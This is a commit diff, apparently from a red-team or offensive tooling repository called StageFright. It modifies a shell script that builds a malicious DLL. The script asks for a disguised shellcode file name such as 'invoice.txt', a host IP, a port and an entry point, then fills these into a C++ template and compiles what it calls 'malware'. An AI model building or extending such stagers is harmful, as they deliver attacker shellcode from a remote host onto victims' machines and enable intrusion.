assume-breach 2 жил өмнө
parent
commit
74d34391fd

+ 5 - 2
StageFright/StageFright/StageFright/TCPDLL/TCPDLL.sh

@@ -30,6 +30,10 @@ echo -e ${green}"Name Your Shellcode File. ex: invoice.txt"${clear}
 echo ""
 echo ""
 read SHELLCODEFILE
 read SHELLCODEFILE
 echo ""
 echo ""
+echo -e ${green}"Name Your Entry Point Function"${clear}
+echo ""
+read ENTRYPOINT
+echo ""
 echo -e ${green}"Name Your Malware! ex: malware.dll"${clear}
 echo -e ${green}"Name Your Malware! ex: malware.dll"${clear}
 echo ""
 echo ""
 read MALWARE
 read MALWARE
@@ -71,6 +75,7 @@ sed -i "s/RandomE/$RandomE/g" StageFright/TCPDLL/Resources/template.cpp
 
 
 
 
 #Replace IP, PORT and SHELLCODEFILE
 #Replace IP, PORT and SHELLCODEFILE
+sed -i "s/ENTRYPOINT/$ENTRYPOINT/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/HOSTIP/$HOSTIP/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/HOSTIP/$HOSTIP/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/PORTY/$PORTY/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/PORTY/$PORTY/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/SHELLCODEFILE/$SHELLCODEFILE/g" StageFright/TCPDLL/Resources/template.cpp
 sed -i "s/SHELLCODEFILE/$SHELLCODEFILE/g" StageFright/TCPDLL/Resources/template.cpp
@@ -161,7 +166,6 @@ rm shell*
 echo -e ${yellow}"***Malware Compiled***"${clear}
 echo -e ${yellow}"***Malware Compiled***"${clear}
 echo ""
 echo ""
 sleep 2
 sleep 2
-echo -e ${yellow}"***Edit And Run The TCP Server***"${clear}
 #echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
 #echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
 #echo ""
 #echo ""
 #sleep 2
 #sleep 2
@@ -170,4 +174,3 @@ echo -e ${yellow}"***Edit And Run The TCP Server***"${clear}
 #echo -e ${yellow}"***Signature Added. Happy Hunting!**"${clear}
 #echo -e ${yellow}"***Signature Added. Happy Hunting!**"${clear}
 #echo ""
 #echo ""
 
 
-